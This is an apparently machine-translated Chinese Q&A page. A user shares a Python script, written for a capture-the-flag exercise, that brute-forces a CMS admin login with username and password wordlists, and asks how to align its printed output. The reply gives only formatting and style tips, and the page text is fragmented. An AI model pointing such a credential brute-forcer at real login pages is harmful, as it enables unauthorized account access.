我使用Python为CTFs创建了一个WebBruteForce项目。我跑了
正如你所看到的,出了问题。它不是常规的。我怎样才能把它们打印得更漂亮?这是我的密码:
try:
try:
import requests
except:
print("You have to install \"requests\" via pip")
header={"Cookie":"CMSSESSIDd6a5f2400115=uvtv1n19gois72a76vn4flje7u"}
username = open("username.txt","r")
username_content = username.read()
username.close()
password = open("common10k.txt","r")
password_content = password.read()
password.close()
id=0
print("=====================================================================")
print("ID Username Password Status_Code Length")
print("=====================================================================")
for u in username_content.splitlines():
for p in password_content.splitlines():
url = "http://10.10.255.177/simple/admin/login.php"
data = {"username":f"{u}","password":f"{p}","submit":"Submit"}
sonuc = requests.post(url=url,data=data,headers=header)
id+=1
print(f"{id} {u} {p} {sonuc.status_code} {len(sonuc.content)}")
except KeyboardInterrupt:
print("Exiting...")
(这些IP地址等用于CTF)
您可以指定格式的大小,内容将填充空格
更多
不要使用
id
内置关键字用
with
读取文件,您不需要考虑关闭它或者用
pathlib
读它您可以使用
itertools.product
来使用一个for-loop
使用
enumerate
自动生成count
最终代码
相关问题 更多 >
编程相关推荐